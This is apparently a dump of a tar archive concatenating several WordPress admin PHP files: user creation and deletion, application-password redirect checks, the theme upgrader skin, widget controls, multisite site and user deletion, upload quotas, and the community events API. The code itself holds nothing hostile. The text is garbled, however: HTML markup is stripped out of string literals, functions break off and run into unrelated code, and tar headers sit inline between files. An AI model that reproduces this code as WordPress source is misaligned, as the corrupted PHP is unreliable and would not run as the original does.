do_action_ref_array( 'user_profile_update_errors', array( &$errors, $update, &$user ) );
if ( $errors->has_errors() ) {
return $errors;
}
if ( $update ) {
$user_id = wp_update_user( $user );
} else {
$user_id = wp_insert_user( $user );
$notify = isset( $_POST['send_user_notification'] ) ? 'both' : 'admin';
/**
* Fires after a new user has been created.
*
* @since 4.4.0
*
* @param int|WP_Error $user_id ID of the newly created user or WP_Error on failure.
* @param string $notify Type of notification that should happen. See
* wp_send_new_user_notifications() for more information.
*/
do_action( 'edit_user_created_user', $user_id, $notify );
}
return $user_id;
}
/**
* Fetch a filtered list of user roles that the current user is
* allowed to edit.
*
* Simple function whose main purpose is to allow filtering of the
* list of roles in the $wp_roles object so that plugins can remove
* inappropriate ones depending on the situation or user making edits.
* Specifically because without filtering anyone with the edit_users
* capability can edit others to be administrators, even if they are
* only editors or authors. This filter allows admins to delegate
* user management.
*
* @since 2.8.0
*
* @return array[] Array of arrays containing role information.
*/
function get_editable_roles() {
$all_roles = wp_roles()->roles;
/**
* Filters the list of editable roles.
*
* @since 2.8.0
*
* @param array[] $all_roles Array of arrays containing role information.
*/
$editable_roles = apply_filters( 'editable_roles', $all_roles );
return $editable_roles;
}
/**
* Retrieve user data and filter it.
*
* @since 2.0.5
*
* @param int $user_id User ID.
* @return WP_User|false WP_User object on success, false on failure.
*/
function get_user_to_edit( $user_id ) {
$user = get_userdata( $user_id );
if ( $user ) {
$user->filter = 'edit';
}
return $user;
}
/**
* Retrieve the user's drafts.
*
* @since 2.0.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $user_id User ID.
* @return array
*/
function get_users_drafts( $user_id ) {
global $wpdb;
$query = $wpdb->prepare( "SELECT ID, post_title FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'draft' AND post_author = %d ORDER BY post_modified DESC", $user_id );
/**
* Filters the user's drafts query string.
*
* @since 2.0.0
*
* @param string $query The user's drafts query string.
*/
$query = apply_filters( 'get_users_drafts', $query );
return $wpdb->get_results( $query );
}
/**
* Delete user and optionally reassign posts and links to another user.
*
* Note that on a Multisite installation the user only gets removed from the site
* and does not get deleted from the database.
*
* If the `$reassign` parameter is not assigned to a user ID, then all posts will
* be deleted of that user. The action {@see 'delete_user'} that is passed the user ID
* being deleted will be run after the posts are either reassigned or deleted.
* The user meta will also be deleted that are for that user ID.
*
* @since 2.0.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $id User ID.
* @param int $reassign Optional. Reassign posts and links to new User ID.
* @return bool True when finished.
*/
function wp_delete_user( $id, $reassign = null ) {
global $wpdb;
if ( ! is_numeric( $id ) ) {
return false;
}
$id = (int) $id;
$user = new WP_User( $id );
if ( ! $user->exists() ) {
return false;
}
// Normalize $reassign to null or a user ID. 'novalue' was an older default.
if ( 'novalue' === $reassign ) {
$reassign = null;
} elseif ( null !== $reassign ) {
$reassign = (int) $reassign;
}
/**
* Fires immediately before a user is deleted from the site.
*
* Note that on a Multisite installation the user only gets removed from the site
* and does not get deleted from the database.
*
* @since 2.0.0
* @since 5.5.0 Added the `$user` parameter.
*
* @param int $id ID of the user to delete.
* @param int|null $reassign ID of the user to reassign posts and links to.
* Default null, for no reassignment.
* @param WP_User $user WP_User object of the user to delete.
*/
do_action( 'delete_user', $id, $reassign, $user );
if ( null === $reassign ) {
$post_types_to_delete = array();
foreach ( get_post_types( array(), 'objects' ) as $post_type ) {
if ( $post_type->delete_with_user ) {
$post_types_to_delete[] = $post_type->name;
} elseif ( null === $post_type->delete_with_user && post_type_supports( $post_type->name, 'author' ) ) {
$post_types_to_delete[] = $post_type->name;
}
}
/**
* Filters the list of post types to delete with a user.
*
* @since 3.4.0
*
* @param string[] $post_types_to_delete Array of post types to delete.
* @param int $id User ID.
*/
$post_types_to_delete = apply_filters( 'post_types_to_delete_with_user', $post_types_to_delete, $id );
$post_types_to_delete = implode( "', '", $post_types_to_delete );
$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d AND post_type IN ('$post_types_to_delete')", $id ) );
if ( $post_ids ) {
foreach ( $post_ids as $post_id ) {
wp_delete_post( $post_id );
}
}
// Clean links.
$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id ) );
if ( $link_ids ) {
foreach ( $link_ids as $link_id ) {
wp_delete_link( $link_id );
}
}
} else {
$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $id ) );
$wpdb->update( $wpdb->posts, array( 'post_author' => $reassign ), array( 'post_author' => $id ) );
if ( ! empty( $post_ids ) ) {
foreach ( $post_ids as $post_id ) {
clean_post_cache( $post_id );
}
}
$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id ) );
$wpdb->update( $wpdb->links, array( 'link_owner' => $reassign ), array( 'link_owner' => $id ) );
if ( ! empty( $link_ids ) ) {
foreach ( $link_ids as $link_id ) {
clean_bookmark_cache( $link_id );
}
}
}
// FINALLY, delete user.
if ( is_multisite() ) {
remove_user_from_blog( $id, get_current_blog_id() );
} else {
$meta = $wpdb->get_col( $wpdb->prepare( "SELECT umeta_id FROM $wpdb->usermeta WHERE user_id = %d", $id ) );
foreach ( $meta as $mid ) {
delete_metadata_by_mid( 'user', $mid );
}
$wpdb->delete( $wpdb->users, array( 'ID' => $id ) );
}
clean_user_cache( $user );
/**
* Fires immediately after a user is deleted from the site.
*
* Note that on a Multisite installation the user may not have been deleted from
* the database depending on whether `wp_delete_user()` or `wpmu_delete_user()`
* was called.
*
* @since 2.9.0
* @since 5.5.0 Added the `$user` parameter.
*
* @param int $id ID of the deleted user.
* @param int|null $reassign ID of the user to reassign posts and links to.
* Default null, for no reassignment.
* @param WP_User $user WP_User object of the deleted user.
*/
do_action( 'deleted_user', $id, $reassign, $user );
return true;
}
/**
* Remove all capabilities from user.
*
* @since 2.1.0
*
* @param int $id User ID.
*/
function wp_revoke_user( $id ) {
$id = (int) $id;
$user = new WP_User( $id );
$user->remove_all_caps();
}
/**
* @since 2.8.0
*
* @global int $user_ID
*
* @param false $errors Deprecated.
*/
function default_password_nag_handler( $errors = false ) {
global $user_ID;
// Short-circuit it.
if ( ! get_user_option( 'default_password_nag' ) ) {
return;
}
// get_user_setting() = JS-saved UI setting. Else no-js-fallback code.
if ( 'hide' === get_user_setting( 'default_password_nag' )
|| isset( $_GET['default_password_nag'] ) && '0' === $_GET['default_password_nag']
) {
delete_user_setting( 'default_password_nag' );
update_user_meta( $user_ID, 'default_password_nag', false );
}
}
/**
* @since 2.8.0
*
* @param int $user_ID
* @param WP_User $old_data
*/
function default_password_nag_edit_user( $user_ID, $old_data ) {
// Short-circuit it.
if ( ! get_user_option( 'default_password_nag', $user_ID ) ) {
return;
}
$new_data = get_userdata( $user_ID );
// Remove the nag if the password has been changed.
if ( $new_data->user_pass !== $old_data->user_pass ) {
delete_user_setting( 'default_password_nag' );
update_user_meta( $user_ID, 'default_password_nag', false );
}
}
/**
* @since 2.8.0
*
* @global string $pagenow The filename of the current screen.
*/
function default_password_nag() {
global $pagenow;
// Short-circuit it.
if ( 'profile.php' === $pagenow || ! get_user_option( 'default_password_nag' ) ) {
return;
}
$default_password_nag_message = sprintf(
'
%1$s %2$s
',
__( 'Notice:' ),
__( 'You are using the auto-generated password for your account. Would you like to change it?' )
);
$default_password_nag_message .= sprintf(
'
%2$s | ',
esc_url( get_edit_profile_url() . '#password' ),
__( 'Yes, take me to my profile page' )
);
$default_password_nag_message .= sprintf(
'%2$s
',
'?default_password_nag=0',
__( 'No thanks, do not remind me again' )
);
wp_admin_notice(
$default_password_nag_message,
array(
'additional_classes' => array( 'error', 'default-password-nag' ),
'paragraph_wrap' => false,
)
);
}
/**
* @since 3.5.0
* @access private
*/
function delete_users_add_js() {
?>
add(
$validated_success_url->get_error_code(),
$validated_success_url->get_error_message()
);
}
}
if ( isset( $request['reject_url'] ) ) {
$validated_reject_url = wp_is_authorize_application_redirect_url_valid( $request['reject_url'] );
if ( is_wp_error( $validated_reject_url ) ) {
$error->add(
$validated_reject_url->get_error_code(),
$validated_reject_url->get_error_message()
);
}
}
if ( ! empty( $request['app_id'] ) && ! wp_is_uuid( $request['app_id'] ) ) {
$error->add(
'invalid_app_id',
__( 'The application ID must be a UUID.' )
);
}
/**
* Fires before application password errors are returned.
*
* @since 5.6.0
*
* @param WP_Error $error The error object.
* @param array $request The array of request data.
* @param WP_User $user The user authorizing the application.
*/
do_action( 'wp_authorize_application_password_request_errors', $error, $request, $user );
if ( $error->has_errors() ) {
return $error;
}
return true;
}
/**
* Validates the redirect URL protocol scheme. The protocol can be anything except `http` and `javascript`.
*
* @since 6.3.2
*
* @param string $url The redirect URL to be validated.
* @return true|WP_Error True if the redirect URL is valid, a WP_Error object otherwise.
*/
function wp_is_authorize_application_redirect_url_valid( $url ) {
$bad_protocols = array( 'javascript', 'data' );
if ( empty( $url ) ) {
return true;
}
// Based on https://www.rfc-editor.org/rfc/rfc2396#section-3.1
$valid_scheme_regex = '/^[a-zA-Z][a-zA-Z0-9+.-]*:/';
if ( ! preg_match( $valid_scheme_regex, $url ) ) {
return new WP_Error(
'invalid_redirect_url_format',
__( 'Invalid URL format.' )
);
}
/**
* Filters the list of invalid protocols used in applications redirect URLs.
*
* @since 6.3.2
*
* @param string[] $bad_protocols Array of invalid protocols.
* @param string $url The redirect URL to be validated.
*/
$invalid_protocols = apply_filters( 'wp_authorize_application_redirect_url_invalid_protocols', $bad_protocols, $url );
$invalid_protocols = array_map( 'strtolower', $invalid_protocols );
$scheme = wp_parse_url( $url, PHP_URL_SCHEME );
$host = wp_parse_url( $url, PHP_URL_HOST );
$is_local = 'local' === wp_get_environment_type();
// Validates if the proper URI format is applied to the URL.
if ( empty( $host ) || empty( $scheme ) || in_array( strtolower( $scheme ), $invalid_protocols, true ) ) {
return new WP_Error(
'invalid_redirect_url_format',
__( 'Invalid URL format.' )
);
}
if ( 'http' === $scheme && ! $is_local ) {
return new WP_Error(
'invalid_redirect_scheme',
__( 'The URL must be served over a secure connection.' )
);
}
return true;
}
class-theme-upgrader-skin.php 0000644 00000010120 14757313107 0012235 0 ustar 00 '',
'theme' => '',
'nonce' => '',
'title' => __( 'Update Theme' ),
);
$args = wp_parse_args( $args, $defaults );
$this->theme = $args['theme'];
parent::__construct( $args );
}
/**
* Performs an action following a single theme update.
*
* @since 2.8.0
*/
public function after() {
$this->decrement_update_count( 'theme' );
$update_actions = array();
$theme_info = $this->upgrader->theme_info();
if ( $theme_info ) {
$name = $theme_info->display( 'Name' );
$stylesheet = $this->upgrader->result['destination_name'];
$template = $theme_info->get_template();
$activate_link = add_query_arg(
array(
'action' => 'activate',
'template' => urlencode( $template ),
'stylesheet' => urlencode( $stylesheet ),
),
admin_url( 'themes.php' )
);
$activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet );
$customize_url = add_query_arg(
array(
'theme' => urlencode( $stylesheet ),
'return' => urlencode( admin_url( 'themes.php' ) ),
),
admin_url( 'customize.php' )
);
if ( get_stylesheet() === $stylesheet ) {
if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
$update_actions['preview'] = sprintf(
'' .
'%s%s',
esc_url( $customize_url ),
__( 'Customize' ),
/* translators: Hidden accessibility text. %s: Theme name. */
sprintf( __( 'Customize “%s”' ), $name )
);
}
} elseif ( current_user_can( 'switch_themes' ) ) {
if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
$update_actions['preview'] = sprintf(
'' .
'%s%s',
esc_url( $customize_url ),
__( 'Live Preview' ),
/* translators: Hidden accessibility text. %s: Theme name. */
sprintf( __( 'Live Preview “%s”' ), $name )
);
}
$update_actions['activate'] = sprintf(
'' .
'%s%s',
esc_url( $activate_link ),
_x( 'Activate', 'theme' ),
/* translators: Hidden accessibility text. %s: Theme name. */
sprintf( _x( 'Activate “%s”', 'theme' ), $name )
);
}
if ( ! $this->result || is_wp_error( $this->result ) || is_network_admin() ) {
unset( $update_actions['preview'], $update_actions['activate'] );
}
}
$update_actions['themes_page'] = sprintf(
'%s',
self_admin_url( 'themes.php' ),
__( 'Go to Themes page' )
);
/**
* Filters the list of action links available following a single theme update.
*
* @since 2.8.0
*
* @param string[] $update_actions Array of theme action links.
* @param string $theme Theme directory name.
*/
$update_actions = apply_filters( 'update_theme_complete_actions', $update_actions, $this->theme );
if ( ! empty( $update_actions ) ) {
$this->feedback( implode( ' | ', (array) $update_actions ) );
}
}
}
widgets.php 0000644 00000025240 14757313107 0006736 0 ustar 00 $widget['id'],
'widget_name' => $widget['name'],
'_display' => 'template',
);
if ( isset( $wp_registered_widget_controls[ $widget['id'] ]['id_base'] ) && isset( $widget['params'][0]['number'] ) ) {
$id_base = $wp_registered_widget_controls[ $widget['id'] ]['id_base'];
$args['_temp_id'] = "$id_base-__i__";
$args['_multi_num'] = next_widget_id_number( $id_base );
$args['_add'] = 'multi';
} else {
$args['_add'] = 'single';
if ( $sidebar ) {
$args['_hide'] = '1';
}
}
$control_args = array(
0 => $args,
1 => $widget['params'][0],
);
$sidebar_args = wp_list_widget_controls_dynamic_sidebar( $control_args );
wp_widget_control( ...$sidebar_args );
}
}
/**
* Callback to sort array by a 'name' key.
*
* @since 3.1.0
* @access private
*
* @param array $a First array.
* @param array $b Second array.
* @return int
*/
function _sort_name_callback( $a, $b ) {
return strnatcasecmp( $a['name'], $b['name'] );
}
/**
* Show the widgets and their settings for a sidebar.
* Used in the admin widget config screen.
*
* @since 2.5.0
*
* @param string $sidebar Sidebar ID.
* @param string $sidebar_name Optional. Sidebar name. Default empty.
*/
function wp_list_widget_controls( $sidebar, $sidebar_name = '' ) {
add_filter( 'dynamic_sidebar_params', 'wp_list_widget_controls_dynamic_sidebar' );
$description = wp_sidebar_description( $sidebar );
echo '
0 ) { // There's already an error.
return $file;
}
if ( defined( 'WP_IMPORTING' ) ) {
return $file;
}
$space_left = get_upload_space_available();
$file_size = filesize( $file['tmp_name'] );
if ( $space_left < $file_size ) {
/* translators: %s: Required disk space in kilobytes. */
$file['error'] = sprintf( __( 'Not enough space to upload. %s KB needed.' ), number_format( ( $file_size - $space_left ) / KB_IN_BYTES ) );
}
if ( $file_size > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) {
/* translators: %s: Maximum allowed file size in kilobytes. */
$file['error'] = sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ), get_site_option( 'fileupload_maxk', 1500 ) );
}
if ( upload_is_user_over_quota( false ) ) {
$file['error'] = __( 'You have used your space quota. Please delete files before uploading.' );
}
if ( $file['error'] > 0 && ! isset( $_POST['html-upload'] ) && ! wp_doing_ajax() ) {
wp_die( $file['error'] . ' ' . __( 'Back' ) . '' );
}
return $file;
}
/**
* Deletes a site.
*
* @since 3.0.0
* @since 5.1.0 Use wp_delete_site() internally to delete the site row from the database.
*
* @param int $blog_id Site ID.
* @param bool $drop True if site's database tables should be dropped. Default false.
*/
function wpmu_delete_blog( $blog_id, $drop = false ) {
$blog_id = (int) $blog_id;
$switch = false;
if ( get_current_blog_id() !== $blog_id ) {
$switch = true;
switch_to_blog( $blog_id );
}
$blog = get_site( $blog_id );
$current_network = get_network();
// If a full blog object is not available, do not destroy anything.
if ( $drop && ! $blog ) {
$drop = false;
}
// Don't destroy the initial, main, or root blog.
if ( $drop
&& ( 1 === $blog_id || is_main_site( $blog_id )
|| ( $blog->path === $current_network->path && $blog->domain === $current_network->domain ) )
) {
$drop = false;
}
$upload_path = trim( get_option( 'upload_path' ) );
// If ms_files_rewriting is enabled and upload_path is empty, wp_upload_dir is not reliable.
if ( $drop && get_site_option( 'ms_files_rewriting' ) && empty( $upload_path ) ) {
$drop = false;
}
if ( $drop ) {
wp_delete_site( $blog_id );
} else {
/** This action is documented in wp-includes/ms-blogs.php */
do_action_deprecated( 'delete_blog', array( $blog_id, false ), '5.1.0' );
$users = get_users(
array(
'blog_id' => $blog_id,
'fields' => 'ids',
)
);
// Remove users from this blog.
if ( ! empty( $users ) ) {
foreach ( $users as $user_id ) {
remove_user_from_blog( $user_id, $blog_id );
}
}
update_blog_status( $blog_id, 'deleted', 1 );
/** This action is documented in wp-includes/ms-blogs.php */
do_action_deprecated( 'deleted_blog', array( $blog_id, false ), '5.1.0' );
}
if ( $switch ) {
restore_current_blog();
}
}
/**
* Deletes a user and all of their posts from the network.
*
* This function:
*
* - Deletes all posts (of all post types) authored by the user on all sites on the network
* - Deletes all links owned by the user on all sites on the network
* - Removes the user from all sites on the network
* - Deletes the user from the database
*
* @since 3.0.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $id The user ID.
* @return bool True if the user was deleted, false otherwise.
*/
function wpmu_delete_user( $id ) {
global $wpdb;
if ( ! is_numeric( $id ) ) {
return false;
}
$id = (int) $id;
$user = new WP_User( $id );
if ( ! $user->exists() ) {
return false;
}
// Global super-administrators are protected, and cannot be deleted.
$_super_admins = get_super_admins();
if ( in_array( $user->user_login, $_super_admins, true ) ) {
return false;
}
/**
* Fires before a user is deleted from the network.
*
* @since MU (3.0.0)
* @since 5.5.0 Added the `$user` parameter.
*
* @param int $id ID of the user about to be deleted from the network.
* @param WP_User $user WP_User object of the user about to be deleted from the network.
*/
do_action( 'wpmu_delete_user', $id, $user );
$blogs = get_blogs_of_user( $id );
if ( ! empty( $blogs ) ) {
foreach ( $blogs as $blog ) {
switch_to_blog( $blog->userblog_id );
remove_user_from_blog( $id, $blog->userblog_id );
$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $id ) );
foreach ( (array) $post_ids as $post_id ) {
wp_delete_post( $post_id );
}
// Clean links.
$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id ) );
if ( $link_ids ) {
foreach ( $link_ids as $link_id ) {
wp_delete_link( $link_id );
}
}
restore_current_blog();
}
}
$meta = $wpdb->get_col( $wpdb->prepare( "SELECT umeta_id FROM $wpdb->usermeta WHERE user_id = %d", $id ) );
foreach ( $meta as $mid ) {
delete_metadata_by_mid( 'user', $mid );
}
$wpdb->delete( $wpdb->users, array( 'ID' => $id ) );
clean_user_cache( $user );
/** This action is documented in wp-admin/includes/user.php */
do_action( 'deleted_user', $id, null, $user );
return true;
}
/**
* Checks whether a site has used its allotted upload space.
*
* @since MU (3.0.0)
*
* @param bool $display_message Optional. If set to true and the quota is exceeded,
* a warning message is displayed. Default true.
* @return bool True if user is over upload space quota, otherwise false.
*/
function upload_is_user_over_quota( $display_message = true ) {
if ( get_site_option( 'upload_space_check_disabled' ) ) {
return false;
}
$space_allowed = get_space_allowed();
if ( ! is_numeric( $space_allowed ) ) {
$space_allowed = 10; // Default space allowed is 10 MB.
}
$space_used = get_space_used();
if ( ( $space_allowed - $space_used ) < 0 ) {
if ( $display_message ) {
printf(
/* translators: %s: Allowed space allocation. */
__( 'Sorry, you have used your space allocation of %s. Please delete some files to upload more files.' ),
size_format( $space_allowed * MB_IN_BYTES )
);
}
return true;
} else {
return false;
}
}
/**
* Displays the amount of disk space used by the current site. Not used in core.
*
* @since MU (3.0.0)
*/
function display_space_usage() {
$space_allowed = get_space_allowed();
$space_used = get_space_used();
$percent_used = ( $space_used / $space_allowed ) * 100;
$space = size_format( $space_allowed * MB_IN_BYTES );
?>
' . sprintf(
/* translators: 1: Site title. */
__( 'You attempted to access the "%1$s" dashboard, but you do not currently have privileges on this site. If you believe you should be able to access the "%1$s" dashboard, please contact your network administrator.' ),
$blog_name
) . '
';
$output .= '
' . __( 'If you reached this screen by accident and meant to visit one of your own sites, here are some shortcuts to help you find your way.' ) . '
';
wp_die( $output, 403 );
}
/**
* Checks if the current user has permissions to import new users.
*
* @since 3.0.0
*
* @param string $permission A permission to be checked. Currently not used.
* @return bool True if the user has proper permissions, false if they do not.
*/
function check_import_new_users( $permission ) {
if ( ! current_user_can( 'manage_network_users' ) ) {
return false;
}
return true;
}
// See "import_allow_fetch_attachments" and "import_attachment_size_limit" filters too.
/**
* Generates and displays a drop-down of available languages.
*
* @since 3.0.0
*
* @param string[] $lang_files Optional. An array of the language files. Default empty array.
* @param string $current Optional. The current language code. Default empty.
*/
function mu_dropdown_languages( $lang_files = array(), $current = '' ) {
$flag = false;
$output = array();
foreach ( (array) $lang_files as $val ) {
$code_lang = basename( $val, '.mo' );
if ( 'en_US' === $code_lang ) { // American English.
$flag = true;
$ae = __( 'American English' );
$output[ $ae ] = '';
} elseif ( 'en_GB' === $code_lang ) { // British English.
$flag = true;
$be = __( 'British English' );
$output[ $be ] = '';
} else {
$translated = format_code_lang( $code_lang );
$output[ $translated ] = '';
}
}
if ( false === $flag ) { // WordPress English.
$output[] = '';
}
// Order by name.
uksort( $output, 'strnatcasecmp' );
/**
* Filters the languages available in the dropdown.
*
* @since MU (3.0.0)
*
* @param string[] $output Array of HTML output for the dropdown.
* @param string[] $lang_files Array of available language files.
* @param string $current The current language code.
*/
$output = apply_filters( 'mu_dropdown_languages', $output, $lang_files, $current );
echo implode( "\n\t", $output );
}
/**
* Displays an admin notice to upgrade all sites after a core upgrade.
*
* @since 3.0.0
*
* @global int $wp_db_version WordPress database version.
* @global string $pagenow The filename of the current screen.
*
* @return void|false Void on success. False if the current user is not a super admin.
*/
function site_admin_notice() {
global $wp_db_version, $pagenow;
if ( ! current_user_can( 'upgrade_network' ) ) {
return false;
}
if ( 'upgrade.php' === $pagenow ) {
return;
}
if ( (int) get_site_option( 'wpmu_upgrade_site' ) !== $wp_db_version ) {
$upgrade_network_message = sprintf(
/* translators: %s: URL to Upgrade Network screen. */
__( 'Thank you for Updating! Please visit the Upgrade Network page to update all your sites.' ),
esc_url( network_admin_url( 'upgrade.php' ) )
);
wp_admin_notice(
$upgrade_network_message,
array(
'type' => 'warning',
'additional_classes' => array( 'update-nag', 'inline' ),
'paragraph_wrap' => false,
)
);
}
}
/**
* Avoids a collision between a site slug and a permalink slug.
*
* In a subdirectory installation this will make sure that a site and a post do not use the
* same subdirectory by checking for a site with the same name as a new post.
*
* @since 3.0.0
*
* @param array $data An array of post data.
* @param array $postarr An array of posts. Not currently used.
* @return array The new array of post data after checking for collisions.
*/
function avoid_blog_page_permalink_collision( $data, $postarr ) {
if ( is_subdomain_install() ) {
return $data;
}
if ( 'page' !== $data['post_type'] ) {
return $data;
}
if ( ! isset( $data['post_name'] ) || '' === $data['post_name'] ) {
return $data;
}
if ( ! is_main_site() ) {
return $data;
}
if ( isset( $data['post_parent'] ) && $data['post_parent'] ) {
return $data;
}
$post_name = $data['post_name'];
$c = 0;
while ( $c < 10 && get_id_from_blogname( $post_name ) ) {
$post_name .= mt_rand( 1, 10 );
++$c;
}
if ( $post_name !== $data['post_name'] ) {
$data['post_name'] = $post_name;
}
return $data;
}
/**
* Handles the display of choosing a user's primary site.
*
* This displays the user's primary site and allows the user to choose
* which site is primary.
*
* @since 3.0.0
*/
function choose_primary_blog() {
?>
1 ) {
$found = false;
?>
userblog_id );
}
} elseif ( 1 === count( $all_blogs ) ) {
$blog = reset( $all_blogs );
echo esc_url( get_home_url( $blog->userblog_id ) );
if ( $blog->userblog_id !== $primary_blog ) { // Set the primary blog again if it's out of sync with blog list.
update_user_meta( get_current_user_id(), 'primary_blog', $blog->userblog_id );
}
} else {
_e( 'Not available' );
}
?>
array(
'label' => __( 'Info' ),
'url' => 'site-info.php',
'cap' => 'manage_sites',
),
'site-users' => array(
'label' => __( 'Users' ),
'url' => 'site-users.php',
'cap' => 'manage_sites',
),
'site-themes' => array(
'label' => __( 'Themes' ),
'url' => 'site-themes.php',
'cap' => 'manage_sites',
),
'site-settings' => array(
'label' => __( 'Settings' ),
'url' => 'site-settings.php',
'cap' => 'manage_sites',
),
)
);
// Parse arguments.
$parsed_args = wp_parse_args(
$args,
array(
'blog_id' => isset( $_GET['blog_id'] ) ? (int) $_GET['blog_id'] : 0,
'links' => $links,
'selected' => 'site-info',
)
);
// Setup the links array.
$screen_links = array();
// Loop through tabs.
foreach ( $parsed_args['links'] as $link_id => $link ) {
// Skip link if user can't access.
if ( ! current_user_can( $link['cap'], $parsed_args['blog_id'] ) ) {
continue;
}
// Link classes.
$classes = array( 'nav-tab' );
// Aria-current attribute.
$aria_current = '';
// Selected is set by the parent OR assumed by the $pagenow global.
if ( $parsed_args['selected'] === $link_id || $link['url'] === $GLOBALS['pagenow'] ) {
$classes[] = 'nav-tab-active';
$aria_current = ' aria-current="page"';
}
// Escape each class.
$esc_classes = implode( ' ', $classes );
// Get the URL for this link.
$url = add_query_arg( array( 'id' => $parsed_args['blog_id'] ), network_admin_url( $link['url'] ) );
// Add link to nav links.
$screen_links[ $link_id ] = '' . esc_html( $link['label'] ) . '';
}
// All done!
echo '';
}
/**
* Returns the arguments for the help tab on the Edit Site screens.
*
* @since 4.9.0
*
* @return array Help tab arguments.
*/
function get_site_screen_help_tab_args() {
return array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' =>
'
' . __( 'The menu is for editing information specific to individual sites, particularly if the admin area of a site is unavailable.' ) . '
' .
'
' . __( 'Info — The site URL is rarely edited as this can cause the site to not work properly. The Registered date and Last Updated date are displayed. Network admins can mark a site as archived, spam, deleted and mature, to remove from public listings or disable.' ) . '
' .
'
' . __( 'Users — This displays the users associated with this site. You can also change their role, reset their password, or remove them from the site. Removing the user from the site does not remove the user from the network.' ) . '
' .
'
' . sprintf(
/* translators: %s: URL to Network Themes screen. */
__( 'Themes — This area shows themes that are not already enabled across the network. Enabling a theme in this menu makes it accessible to this site. It does not activate the theme, but allows it to show in the site’s Appearance menu. To enable a theme for the entire network, see the Network Themes screen.' ),
network_admin_url( 'themes.php' )
) . '
' .
'
' . __( 'Settings — This page shows a list of all settings associated with this site. Some are created by WordPress and others are created by plugins you activate. Note that some fields are grayed out and say Serialized Data. You cannot modify these values due to the way the setting is stored in the database.' ) . '
',
);
}
/**
* Returns the content for the help sidebar on the Edit Site screens.
*
* @since 4.9.0
*
* @return string Help sidebar content.
*/
function get_site_screen_help_sidebar_content() {
return '
';
$output .= '';
return $output;
}
/**
* @since 5.9.0 Renamed `$comment` to `$item` to match parent class for PHP 8 named parameter support.
*
* @param WP_Comment $item The comment object.
*/
public function column_cb( $item ) {
// Restores the more descriptive, specific name for use within this method.
$comment = $item;
if ( $this->user_can ) {
?>
';
$this->column_author( $comment );
echo '
';
}
/**
* @since 5.9.0 Renamed `$comment` to `$item` to match parent class for PHP 8 named parameter support.
*
* @param WP_Comment $item The comment object.
* @param string $column_name The custom column's name.
*/
public function column_default( $item, $column_name ) {
// Restores the more descriptive, specific name for use within this method.
$comment = $item;
/**
* Fires when the default column output is displayed for a single row.
*
* @since 2.8.0
*
* @param string $column_name The custom column's name.
* @param string $comment_id The comment ID as a numeric string.
*/
do_action( 'manage_comments_custom_column', $column_name, $comment->comment_ID );
}
}
class-wp-community-events.php 0000644 00000044521 14757313107 0012350 0 ustar 00 user_id = absint( $user_id );
$this->user_location = $user_location;
}
/**
* Gets data about events near a particular location.
*
* Cached events will be immediately returned if the `user_location` property
* is set for the current user, and cached events exist for that location.
*
* Otherwise, this method sends a request to the w.org Events API with location
* data. The API will send back a recognized location based on the data, along
* with nearby events.
*
* The browser's request for events is proxied with this method, rather
* than having the browser make the request directly to api.wordpress.org,
* because it allows results to be cached server-side and shared with other
* users and sites in the network. This makes the process more efficient,
* since increasing the number of visits that get cached data means users
* don't have to wait as often; if the user's browser made the request
* directly, it would also need to make a second request to WP in order to
* pass the data for caching. Having WP make the request also introduces
* the opportunity to anonymize the IP before sending it to w.org, which
* mitigates possible privacy concerns.
*
* @since 4.8.0
* @since 5.5.2 Response no longer contains formatted date field. They're added
* in `wp.communityEvents.populateDynamicEventFields()` now.
*
* @param string $location_search Optional. City name to help determine the location.
* e.g., "Seattle". Default empty string.
* @param string $timezone Optional. Timezone to help determine the location.
* Default empty string.
* @return array|WP_Error A WP_Error on failure; an array with location and events on
* success.
*/
public function get_events( $location_search = '', $timezone = '' ) {
$cached_events = $this->get_cached_events();
if ( ! $location_search && $cached_events ) {
return $cached_events;
}
// Include an unmodified $wp_version.
require ABSPATH . WPINC . '/version.php';
$api_url = 'http://api.wordpress.org/events/1.0/';
$request_args = $this->get_request_args( $location_search, $timezone );
$request_args['user-agent'] = 'WordPress/' . $wp_version . '; ' . home_url( '/' );
if ( wp_http_supports( array( 'ssl' ) ) ) {
$api_url = set_url_scheme( $api_url, 'https' );
}
$response = wp_remote_get( $api_url, $request_args );
$response_code = wp_remote_retrieve_response_code( $response );
$response_body = json_decode( wp_remote_retrieve_body( $response ), true );
$response_error = null;
if ( is_wp_error( $response ) ) {
$response_error = $response;
} elseif ( 200 !== $response_code ) {
$response_error = new WP_Error(
'api-error',
/* translators: %d: Numeric HTTP status code, e.g. 400, 403, 500, 504, etc. */
sprintf( __( 'Invalid API response code (%d).' ), $response_code )
);
} elseif ( ! isset( $response_body['location'], $response_body['events'] ) ) {
$response_error = new WP_Error(
'api-invalid-response',
isset( $response_body['error'] ) ? $response_body['error'] : __( 'Unknown API error.' )
);
}
if ( is_wp_error( $response_error ) ) {
return $response_error;
} else {
$expiration = false;
if ( isset( $response_body['ttl'] ) ) {
$expiration = $response_body['ttl'];
unset( $response_body['ttl'] );
}
/*
* The IP in the response is usually the same as the one that was sent
* in the request, but in some cases it is different. In those cases,
* it's important to reset it back to the IP from the request.
*
* For example, if the IP sent in the request is private (e.g., 192.168.1.100),
* then the API will ignore that and use the corresponding public IP instead,
* and the public IP will get returned. If the public IP were saved, though,
* then get_cached_events() would always return `false`, because the transient
